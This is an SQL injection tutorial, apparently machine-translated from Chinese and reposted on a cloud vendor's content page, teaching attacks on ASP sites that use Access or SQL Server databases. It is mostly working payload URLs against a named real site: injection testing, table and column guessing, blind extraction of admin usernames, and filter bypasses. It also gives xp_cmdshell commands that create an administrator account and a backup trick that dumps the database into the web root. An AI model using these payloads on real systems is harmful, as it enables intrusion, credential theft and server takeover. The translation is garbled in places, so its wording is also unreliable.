SQL Injection Analysis

Source: Internet
Author: User
Tags sql server injection

With the development of B/S application development, more and more programmers are writing applications using this mode. However, due to the low entry threshold in this industry, the programmer's level and experience are also uneven. A considerable number of programmers did not judge the legitimacy of user input data when writing code, application security risks. You can submit a piece of database query code and obtain the desired data based on the results returned by the program. This is called SQL Injection, that is, SQL Injection.

SQL injection is accessed from the normal WWW port, and it seems to be no different from the general Web page access, so the current Municipal firewall does not alert SQL injection, if the Administrator does not check IIS logs, it may be invisible for a long time.

However, the SQL injection method is quite flexible, and many unexpected situations may occur during the injection process. It is the fundamental difference between a master and a cainiao to analyze the specific situation and construct clever SQL statements to obtain the desired data.

According to national conditions, ASP + Access or SQLServer accounts for more than 70% of Chinese websites, PHP + MySQ accounts for L20 %, and other websites are less than 10%. In this article, we will explain the methods and skills of ASP injection from entry-level, advanced to advanced. The PHP injection article was written by another NB-consortium friend zwell, it is expected to be useful to security workers and programmers. Do not skip this article if you are familiar with ASP injection, because some people still have misunderstandings about the basic injection judgment methods. Are you ready? Let's Go...

Entry

If you have never tried SQL injection before, remove the check box before IE menu> Tools> Internet Options> advanced => show friendly HTTP Error messages. Otherwise, no matter what error is returned by the server, IE Only displays as an HTTP 500 server error and cannot receive more prompts.

Section 1. Principles of SQL Injection

We start with a website www.19cn.com (note: the website owner has obtained the consent before this article is published, and most of the data is real data ).

On the home page of the website, named "IE cannot open new window of a variety of solutions" link, address: http://www.19cn.com/showdetail.asp? Id = 49. we add a single quotation mark (') after this address. The server will return the following error message:

Microsoft JET Database Engine error '80040e14'
The syntax error of the string is in the query expression 'id = 49.
/Showdetail. asp, row 8

We can see the following points from the error prompt:

1. The website uses an Access database and connects to the database through the JET engine, instead of using ODBC.
2. The program does not determine whether the data submitted by the client meets the program requirements.
3. The table queried by this SQL statement has a field named ID.

From the above example, we can know that the principle of SQL injection is to submit special code from the client to collect information about programs and servers and obtain the information you think.

Section 2: Determine whether SQL injection can be performed

After reading the first section, some people will think: I also often test whether it can be injected. Isn't it very easy? In fact, this is not the best method. Why?

First of all, not necessarily the IIS of each server returns a specific error message to the client. If statements such as cint (parameter) are added to the program, SQL injection will not succeed, but the server also reports an error. The specific prompt is that an error occurs on the server when processing the URL. Contact the system administrator.

Second, some programmers who have a little knowledge about SQL Injection think that it is safe to filter out single quotes. This is not a minority case. If you use single quotes for testing, the injection points cannot be tested.

So what test method is more accurate? The answer is as follows:

① Http://www.19cn.com/showdetail.asp? Id = 49
② Http://www.19cn.com/showdetail.asp? Id = 49 and 1 = 1
3 http://www.19cn.com/showdetail.asp? Id = 49 and 1 = 2

This is the classic 1 = 1, 1 = 2 test method. How can this problem be determined? You can see the results returned from the above three urls:

Injection performance:

① Normal display (this is inevitable, or the program is wrong)
② Normally displayed, the content is basically the same as ①
③ Prompt BOF or EOF (when the program does not make any judgment), or prompt that the record cannot be found (rs is determined. eof), or the display content is null (the program adds on error resume next)

If it cannot be injected, it is easier to judge. ① It is displayed normally. ② and ③ There are generally Program-defined error prompts or error prompts during type conversion.

Of course, this is only the judgment method used when the input parameters are numeric. in actual application, there will be between numeric and search parameters, I will analyze the SQL Injection general steps in the intermediate section.

Section 3. Database types and injection methods

Different database functions and injection methods are different. Therefore, before injection, we need to determine the database type. Generally, Access and SQLServer are the most commonly used databases in ASP. More than 99% of websites on the Internet are among them.

How can a program tell you what database it uses? Let's take a look:

SQLServer has some system variables. If IIS on the server prompts that it is not closed and SQL server returns an error message, you can directly obtain the error information as follows:

Http://www.19cn.com/showdetail.asp? Id = 49 and user> 0

This statement is very simple, but contains the essence of the SQL Server injection method. I also found this efficient method in an unintentional test. Let me take a look at its meaning: first, the preceding statement is normal, with emphasis on and user> 0. We know that user is a built-in variable of SQLServer, the value is the username of the current connection and the type is nvarchar. Compare the nvarchar value with the int value 0. The system will first try to convert the nvarchar value to the int type. Of course, the conversion process will definitely fail. The SQLServer error prompt is: A syntax error occurs when converting the nvarchar value "abc" to an int column. The value of abc is the value of the variable user. In this way, the user name of the database is obtained without any effort. In the future, we will see many statements using this method.

By the way, as we all know, the SQLServer user sa is a role equivalent to the Adminstrators permission. With the sa permission, you can almost certainly get the Administrator of the host. The above method can be used to easily test whether to log on with sa. Note that, if it is a log on with sa, an error occurs when "dbo" is converted to an int column, instead of "sa ".

If IIS on the server does not allow an error message to be returned, how can we determine the database type? We can start with the difference between Access and SQLServer. Access and SQLServer both have their own system tables, such as tables that store all objects in the database. Access is in the system table [msysobjects, however, when reading the table in the Web environment, the system prompts "no permission". SQLServer is in the table [sysobjects] and can be read normally in the Web environment.

Use the following statement to confirm that the injection can be performed:

Http://www.19cn.com/showdetail.asp? Id = 49 and (select count (*) from sysobjects)> 0
Http://www.19cn.com/showdetail.asp? Id = 49 and (select count (*) from msysobjects)> 0

If the database is SQLServer, then the first web site page with the original page http://www.19cn.com/showdetail.asp? Id = 49 is roughly the same. However, because the second website cannot find the table msysobjects, an error is prompted. Even if the program is fault tolerant, the page is completely different from the original page.

If the database uses Access, the situation is different. The page of the first website is completely different from the original page. The second website is determined by whether the database allows reading the system table, generally, this is not allowed, so it is completely different from the original website. In most cases, the database type used by the system can be known through the first web site. The second web site is used only for verification when the IIS error prompt is enabled.

 

In this article, we learned how to judge SQL injection, but it is far from enough to obtain the website's confidential content. Next, we will continue to learn how to obtain the desired content from the database. First, let's take a look at the general steps of SQL injection:

Section 1: General steps of SQL Injection

First, judge the environment, find the injection point, and determine the database type. This is already discussed in the Getting Started article.

Secondly, according to the injection parameter type, the original appearance of the SQL statement is reconstructed in mind. There are three types of parameters:

(A) ID = 49 These injection parameters are numeric. The SQL statement is roughly as follows:
Select * from table name where field = 49
The injected parameter is ID = 49 And [query condition], that is, the generated statement:
Select * from table name where field = 49 And [query condition]

(B) Class = the injection parameters of the series are simplified. The SQL statements are roughly as follows:
Select * from table name where field = 'series'
The injected parameters are Class = series and [query conditions] and ''= ', that is, the generated statement:
Select * from table name where field = 'series' and [query conditions] and ''=''

(C) If parameters are not filtered during search, such as keyword = keyword, the original appearance of the SQL statement is roughly as follows:
Select * from table name where field like '% keyword %'
The injected parameter is keyword = 'and [query condition] and' % 25' = ', which is the generated statement:
Select * from table name where field like '%' and [query condition] and '%' = '%'

Then, replace the query condition with an SQL statement to guess the table name, for example:

ID = 49 And (Select Count (*) from Admin)> = 0

If the page is the same as that of ID = 49, the additional conditions are true, that is, the table Admin exists, and vice versa (Please remember this method ). This loop ends until the table name is guessed.

After the table name is guessed, replace Count (*) with Count (field name) and use the same principle to guess the field name.

Some people may say: there are some occasional elements. If the table name is complex and irregular, it won't be enough. That's right. There is no 100% successful hacker technology in this world. No matter how technical or advanced hackers are, this is because other people's programs are not strictly written or the user's security awareness is not enough.

I am a little confused. After all, there is still a way for the SQL Server database to let the program tell us the table name and field name. We will introduce it in the advanced article.

Finally, after the table name and column name are successfully guessed, use an SQL statement to obtain the field value. The following describes the most common method-Ascii verbatim decoding, although this method is slow, it must be a feasible method.

For example, we know that the username field exists in the Admin table. First, we take the first record and test the length:

Http://www.19cn.com/showdetail.asp? Id = 49 and (select top 1 len (username) from Admin)> 0

First, describe the principle: if the length of top 1's username is greater than 0, then the condition is true; then, the test goes on like> 1,> 2,> 3 until the condition is not true, for example, if 7 is true or 8 is not true, It means len (username) = 8.

Of course, no one will be stupid from 0, 1, 2, 3 tests one by one, so how can we get started quickly. After obtaining the length of username, use mid (username, N, 1) to intercept the nth character, and then asc (mid (username, N, 1) to obtain the ASCII code, for example:

Id = 49 and (select top 1 asc (mid (username, 1, 1) from Admin)> 0

The ASCII code of 1st characters is also obtained by gradually narrowing down the range. Note that the ASCII code of English and numbers is between 1-characters and can be accelerated by the half-fold method, if the program is written for testing, the efficiency will be greatly improved.

Section 2 SQL Injection common functions

Those who have basic SQL language have a much higher success rate than those who are not familiar with SQL injection. We need to improve our SQL level, especially some common functions and commands.

Access: asc (character) SQLServer: unicode (character)
Purpose: return the ASCII code of a character.

Access: chr (number) SQLServer: nchar (number)
Function: opposite to asc, returns Characters Based on the ASCII code.

Access: mid (string, N, L) SQLServer: substring (string, N, L)
Purpose: return the substring of the string that starts from N characters and ranges from N to N + L.

Access: abc (number) SQLServer: abc (number)
Purpose: return the absolute value of a number (used to guess Chinese characters)

Access: A between B And C SQLServer: A between B And C
Purpose: Determine whether A is between B and C.

Section 3. Chinese Processing Methods

It is common to encounter Chinese characters during injection. Some people may want to retreat when they encounter Chinese characters. In fact, as long as you have some knowledge about Chinese encoding, "Chinese phobias" can be quickly overcome.

First, let's talk about common sense:

In Access, the Chinese ASCII code may have a negative number. After this negative number is obtained, use abs () to obtain the absolute value. The Chinese characters remain unchanged.

In SQLServer, Chinese ASCII is a positive number, but because it is a UNICODE dual-bit encoding, the function ascii () cannot be used to obtain the ASCII code, the function unicode () must be used to return the unicode value, use the nchar function to obtain the corresponding Chinese characters.

After learning about the above two points, Do you think Chinese Guesses are actually similar to English? Except for the functions to be used, the method has a larger scope of guesses.

 

After reading the introductory and advanced articles, you can practice a little bit to crack common websites. However, if you cannot guess the table name or the program author filters out some special characters, how can you improve the injection success rate? How can we improve the efficiency of guessing? Next, read the advanced article.

Section 1. inject SQL Server databases using system tables

SQLServer is a powerful database system that is closely related to the operating system, which brings great convenience to developers. On the other hand, it also provides a stepping stone for injecting users, let's take a look at several specific examples:

① Http: // Site/url. asp? Id = 1; exec master .. xp_cmdshell "net user name password/add "--

Semicolons (;); In SQLServer, separate the first and second statements, which indicate that the subsequent statements are comments. Therefore, this statement is divided into two statements for execution in SQLServer, first Select the record with ID = 1, and then execute the Stored Procedure xp_mongoshell. This stored procedure is used to call system commands. Therefore, run the "net" command to create a windows account with the username and password, and then:

② Http: // Site/url. asp? Id = 1; exec master .. xp_cmdshell "net localgroup name administrators/add "--

Add the new account name to the Administrator Group. It does not take two minutes. You have obtained the highest system permission! Of course, this method only applies when using sa to connect to the database. Otherwise, you do not have the permission to call xp_mongoshell.

③ Http: // Site/url. asp? Id = 1; and db_name ()> 0

In the preceding example, and user> 0 is used to obtain the connection username. db_name () is another system variable and returns the name of the connected database.

④ Http: // Site/url. asp? Id = 1; backup database name to disk = 'C:/inetpub/wwwroot/1. db ';--

This is a tough trick. Back up the database name obtained from ③ and the absolute path exposed by some IIS errors to the Web directory, use HTTP to download the entire database. All administrators and user passwords are displayed at a glance! When you do not know the absolute path, you can also back up the network address (such as // 202.96.xx.xx/Share/1.db), but the success rate is not high.

⑤ Http: // Site/url. asp? Id = 1; and (Select Top 1 name from sysobjects where xtype = 'U' and status> 0)> 0

As mentioned above, sysobjects is a system table of SQLServer. It stores all table names, views, constraints, and other objects. xtype = 'U' and status> 0, indicates the name of the table created by the user. The preceding statement extracts the first table name and compares it with 0 to expose the table name with an error message. 2. How can I obtain the name of the third table? Let's leave it to our smart readers.

⑥ Http: // Site/url. asp? Id = 1; and (Select Top 1 col_name (object_id ('table name'), 1) from sysobjects)> 0

After obtaining the table name from ⑤, use object_id ('table name') to obtain the internal ID corresponding to the table name. col_name (table name ID, 1) represents the 1st field names of the table, replace 1 with 2, 3, 4... you can obtain the field names in the table to be guessed one by one.

The above six points are the painstaking efforts I have studied SQLServer for more than half a year. We can see that the degree of understanding of SQLServer directly affects the success rate and the speed of guessing. After studying SQLServer injection, my development level has also been greatly improved. Haha, maybe security and development are complementary.

Section 2. Bypass program restrictions and continue Injection

As mentioned in the entry-level article, many users prefer to use the 'number test to inject vulnerabilities. Therefore, many users use the' number filtering method to "Prevent" injection vulnerabilities, this may block some hacker attacks, but those familiar with SQL injection can still use related functions to bypass program restrictions.

In the "general steps of SQL injection" section, all the statements I use are optimized by me so that they do not contain single quotes; in "injecting SQL Server database with system tables", some statements contain the "Number". Let's take an example to see how to modify these statements:

A simple example is where xtype = 'u'. the ASCII code of the character U is 85, so you can replace it with where xtype = char (85). If the character is Chinese, for example, where name = 'user' can be replaced by where name = nchar (29992) + nchar (25143.

Section 3 Experience Summary

1. Some people will filter keywords such as Select, Update, and Delete, but they forget to be case sensitive. So you can try using selecT.

2. If you cannot guess the field name, you can view the logon form on the website. Generally, for convenience, the field names are the same as those in the form input box.

3. Note: The + number in the address bar is interpreted as a space, % 2B is interpreted as a + number, and % 25 is interpreted as a % number. For details, refer to the introduction of URLEncode.

4. When the Get method is used for injection, IIS will record all your submission strings and will not record the Post method. Therefore, try not to use Get for Post URLs.

5. you can only use the Ascii literal decoding method to guess Access. SQLServer can also use this method. You only need the difference between the two methods. However, if you can use the SQLServer error information to expose the value, the efficiency and accuracy will be greatly improved.

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.